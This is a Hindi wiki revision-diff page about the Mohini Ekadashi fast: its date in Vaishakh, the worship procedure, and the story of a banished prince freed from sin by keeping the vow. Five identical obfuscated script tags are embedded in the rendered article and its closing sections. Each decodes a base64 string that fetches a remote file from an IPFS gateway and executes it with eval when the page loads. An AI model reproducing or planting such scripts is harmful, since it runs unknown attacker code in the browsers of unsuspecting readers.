"मोहिनी एकादशी" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पंक्ति 1: पंक्ति 1:
मोहिनी एकादशी व्रत भी कृष्ण पक्ष की [[एकादशी]] की भाँति ही किया जाता है। [[पुराण|पुराणों]] के अनुसार वैशाख [[शुक्ल पक्ष]] की एकादशी मोहिनी है। इस व्रत को करने से निंदित कर्मों के पाप से छुटकारा मिल जाता है तथा मोह बंधन एवं पाप समूह नष्ट होते हैं। [[सीता]] जी की खोज करते समय भगवान श्री [[राम|रामचन्द्र]] जी ने भी इस व्रत को किया था। उनके बाद मुनि कौण्डिन्य के कहने पर धृष्टबुद्धि ने और श्रीकृष्ण के कहने पर [[युधिष्ठिर]] ने इस व्रत को किया था।
+
{{सूचना बक्सा त्योहार
 +
|चित्र=Lord-Rama.jpg
 +
|चित्र का नाम= महावीर
 +
|अन्य नाम =
 +
|अनुयायी = [[हिंदू धर्म]]
 +
|उद्देश्य = इस दिन व्रत किया जाता है और भगवान के पुरुषोत्तम रूप ([[राम]]) की पूजा की जाती है।
 +
|प्रारम्भ =
 +
|तिथि= [[वैशाख]], [[शुक्ल पक्ष]], [[एकादशी]]
 +
|उत्सव =
 +
|अनुष्ठान =
 +
|धार्मिक मान्यता =
 +
|प्रसिद्धि =
 +
|संबंधित लेख=
 +
|शीर्षक 1=
 +
|पाठ 1= 
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=[[सीता]] जी की खोज करते समय भगवान श्री [[राम|रामचन्द्र]] जी ने भी इस व्रत को किया था। उनके बाद मुनि कौण्डिन्य के कहने पर धृष्टबुद्धि ने और [[श्रीकृष्ण]] के कहने पर [[युधिष्ठिर]] ने इस व्रत को किया था।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 +
}}
 +
'''मोहिनी एकादशी व्रत''' [[कृष्ण पक्ष]] की [[एकादशी]] की भाँति किया जाता है। [[पुराण|पुराणों]] के अनुसार [[वैशाख]] [[शुक्ल पक्ष]] की एकादशी मोहिनी है। इस व्रत को करने से निंदित कर्मों के पाप से छुटकारा मिल जाता है तथा मोह बंधन एवं पाप समूह नष्ट होते हैं। [[सीता]] जी की खोज करते समय भगवान श्री [[राम|रामचन्द्र]] जी ने भी इस व्रत को किया था। उनके बाद मुनि कौण्डिन्य के कहने पर धृष्टबुद्धि ने और [[श्रीकृष्ण]] के कहने पर [[युधिष्ठिर]] ने इस व्रत को किया था।
 
==विधि==
 
==विधि==
 
इस दिन भगवान के पुरुषोत्तम रूप ([[राम]]) की पूजा का विधान है। इस दिन भगवान की प्रतिमा को स्नानादि से शुद्ध कर उत्तम वस्त्र पहनाना चाहिए, फिर उच्चासन पर बैठाकर धूप, दीप से आरती उतारनी चाहिए और मीठे फलों का भोग लगाना चाहिए। तत्पश्चात प्रसाद वितरित कर [[ब्राह्मण|ब्राह्मणों]] को भोजन तथा दान दक्षिणा देनी चाहिए। रात्रि में भगवान का कीर्तन करते हुए मूर्ति के समीप ही शयन करना चाहिए।
 
इस दिन भगवान के पुरुषोत्तम रूप ([[राम]]) की पूजा का विधान है। इस दिन भगवान की प्रतिमा को स्नानादि से शुद्ध कर उत्तम वस्त्र पहनाना चाहिए, फिर उच्चासन पर बैठाकर धूप, दीप से आरती उतारनी चाहिए और मीठे फलों का भोग लगाना चाहिए। तत्पश्चात प्रसाद वितरित कर [[ब्राह्मण|ब्राह्मणों]] को भोजन तथा दान दक्षिणा देनी चाहिए। रात्रि में भगवान का कीर्तन करते हुए मूर्ति के समीप ही शयन करना चाहिए।
 
==कथा==
 
==कथा==
 
एक राजा का बड़ा पुत्र बहुत दुराचारी था। उसके दुर्गुणों से दुखी होकर राजा ने उसे घर से निकाल दिया। वह वन में रहकर लूटमार करता और जानवरों को मारकर खाता था। एक दिन वह एक ॠषि के आश्रम में पहुँचा। आश्रम के पवित्र वातावरण से उसका हृदय पाप कर्मों से विरत हो गया। ॠषि ने उसको पिछले पाप कर्मों से छुटकारा पाने के लिए मोहिनी एकादशी का व्रत विधिपूर्वक करने को कहा। उसने ॠषि के आदेशानुसार व्रत किया। व्रत के प्रभाव से उसकी बुद्धि निर्मल हो गई और उसके सब पाप कर्म नष्ट हो गए।
 
एक राजा का बड़ा पुत्र बहुत दुराचारी था। उसके दुर्गुणों से दुखी होकर राजा ने उसे घर से निकाल दिया। वह वन में रहकर लूटमार करता और जानवरों को मारकर खाता था। एक दिन वह एक ॠषि के आश्रम में पहुँचा। आश्रम के पवित्र वातावरण से उसका हृदय पाप कर्मों से विरत हो गया। ॠषि ने उसको पिछले पाप कर्मों से छुटकारा पाने के लिए मोहिनी एकादशी का व्रत विधिपूर्वक करने को कहा। उसने ॠषि के आदेशानुसार व्रत किया। व्रत के प्रभाव से उसकी बुद्धि निर्मल हो गई और उसके सब पाप कर्म नष्ट हो गए।
 +
 +
 +
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }}
 +
==टीका टिप्पणी और संदर्भ==
 +
<references/>
 
==संबंधित लेख==  
 
==संबंधित लेख==  
 
{{पर्व और त्योहार}}
 
{{पर्व और त्योहार}}

13:34, 19 मई 2013 का अवतरण

मोहिनी एकादशी
महावीर
अनुयायी हिंदू धर्म
उद्देश्य इस दिन व्रत किया जाता है और भगवान के पुरुषोत्तम रूप (राम) की पूजा की जाती है।
तिथि वैशाख, शुक्ल पक्ष, एकादशी
अन्य जानकारी सीता जी की खोज करते समय भगवान श्री रामचन्द्र जी ने भी इस व्रत को किया था। उनके बाद मुनि कौण्डिन्य के कहने पर धृष्टबुद्धि ने और श्रीकृष्ण के कहने पर युधिष्ठिर ने इस व्रत को किया था।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

मोहिनी एकादशी व्रत कृष्ण पक्ष की एकादशी की भाँति किया जाता है। पुराणों के अनुसार वैशाख शुक्ल पक्ष की एकादशी मोहिनी है। इस व्रत को करने से निंदित कर्मों के पाप से छुटकारा मिल जाता है तथा मोह बंधन एवं पाप समूह नष्ट होते हैं। सीता जी की खोज करते समय भगवान श्री रामचन्द्र जी ने भी इस व्रत को किया था। उनके बाद मुनि कौण्डिन्य के कहने पर धृष्टबुद्धि ने और श्रीकृष्ण के कहने पर युधिष्ठिर ने इस व्रत को किया था।

विधि

इस दिन भगवान के पुरुषोत्तम रूप (राम) की पूजा का विधान है। इस दिन भगवान की प्रतिमा को स्नानादि से शुद्ध कर उत्तम वस्त्र पहनाना चाहिए, फिर उच्चासन पर बैठाकर धूप, दीप से आरती उतारनी चाहिए और मीठे फलों का भोग लगाना चाहिए। तत्पश्चात प्रसाद वितरित कर ब्राह्मणों को भोजन तथा दान दक्षिणा देनी चाहिए। रात्रि में भगवान का कीर्तन करते हुए मूर्ति के समीप ही शयन करना चाहिए।

कथा

एक राजा का बड़ा पुत्र बहुत दुराचारी था। उसके दुर्गुणों से दुखी होकर राजा ने उसे घर से निकाल दिया। वह वन में रहकर लूटमार करता और जानवरों को मारकर खाता था। एक दिन वह एक ॠषि के आश्रम में पहुँचा। आश्रम के पवित्र वातावरण से उसका हृदय पाप कर्मों से विरत हो गया। ॠषि ने उसको पिछले पाप कर्मों से छुटकारा पाने के लिए मोहिनी एकादशी का व्रत विधिपूर्वक करने को कहा। उसने ॠषि के आदेशानुसार व्रत किया। व्रत के प्रभाव से उसकी बुद्धि निर्मल हो गई और उसके सब पाप कर्म नष्ट हो गए।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>